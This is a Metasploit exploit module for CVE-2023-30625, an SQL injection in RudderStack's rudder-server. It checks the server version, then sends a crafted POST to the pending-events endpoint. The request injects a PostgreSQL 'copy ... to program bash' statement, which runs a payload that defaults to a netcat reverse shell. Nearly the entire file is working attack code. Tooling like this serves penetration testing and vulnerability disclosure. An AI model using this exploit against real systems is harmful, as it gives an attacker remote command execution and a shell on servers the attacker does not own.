##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rudder Server SQLI Remote Code Execution',
        'Description' => %q{
          This Metasploit module exploits a SQL injection vulnerability in
          RudderStack's rudder-server, an open source Customer Data Platform (CDP).
          The vulnerability exists in versions of rudder-server prior to 1.3.0-rc.1.
          By exploiting this flaw, an attacker can execute arbitrary SQL commands,
          which may lead to Remote Code Execution (RCE) due to the `rudder` role
          in PostgreSQL having superuser permissions by default.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ege Balcı <egebalci@pm.me>' # msf module
        ],
        'References' => [
          ['CVE', '2023-30625'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30625'],
        ],
        'DefaultOptions' => {
          'SSL' => false,
          'WfsDelay' => 5
        },
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ],
          # Due to the insufficient build instructions for Windows platforms, no testing were done on this platform.
          # As a result, the target is disabled in this exploit module.
          # [
          #   'Windows Command',
          #   {
          #     'Platform' => 'win',
          #     'Arch' => ARCH_CMD,
          #     'Type' => :win_cmd,
          #     'DefaultOptions' => {
          #       'PAYLOAD' => 'cmd/windows/powershell_reverse_netcat'
          #     }
          #   }
          # ],
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2023-06-16',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The URI of the Rudder API', '/']),
      ]
    )
  end

  def check
    version = get_version
    return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown'

    if Rex::Version.new('1.3.0-rc.1') > Rex::Version.new(version.gsub('v', ''))
      return Exploit::CheckCode::Appears("Rudder Version: #{version}")
    end

    Exploit::CheckCode::Safe
  end

  def get_version
    return @get_version if @get_version

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'version')
    )
    if res && res.code == 200
      @get_version = res.get_json_document['Version']
      if @get_version.empty?
        @get_version = 'Unknown'
      end

      @get_version
    end
  end

  def exploit
    print_status "Detected rudder version: #{get_version}"
    # If not 'Auto' then use the selected version
    case target['Type']
    # when :win_cmd
    #   shell = 'cmd.exe'
    when :unix_cmd
      shell = 'bash'
    else
      fail_with(Failure::BadConfig, 'Please select a valid target')
    end

    data = "{\"source_id\": \"#{Rex::Text.rand_text_alpha(4..8)}'; copy (SELECT '#{payload.encoded}') to program '#{shell}'-- - \"}"
    print_status 'Triggering RCE via crafted SQL query...'
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/v1/warehouse/pending-events'),
      'ctype' => 'application/json',
      'data' => data
    })
  end
end
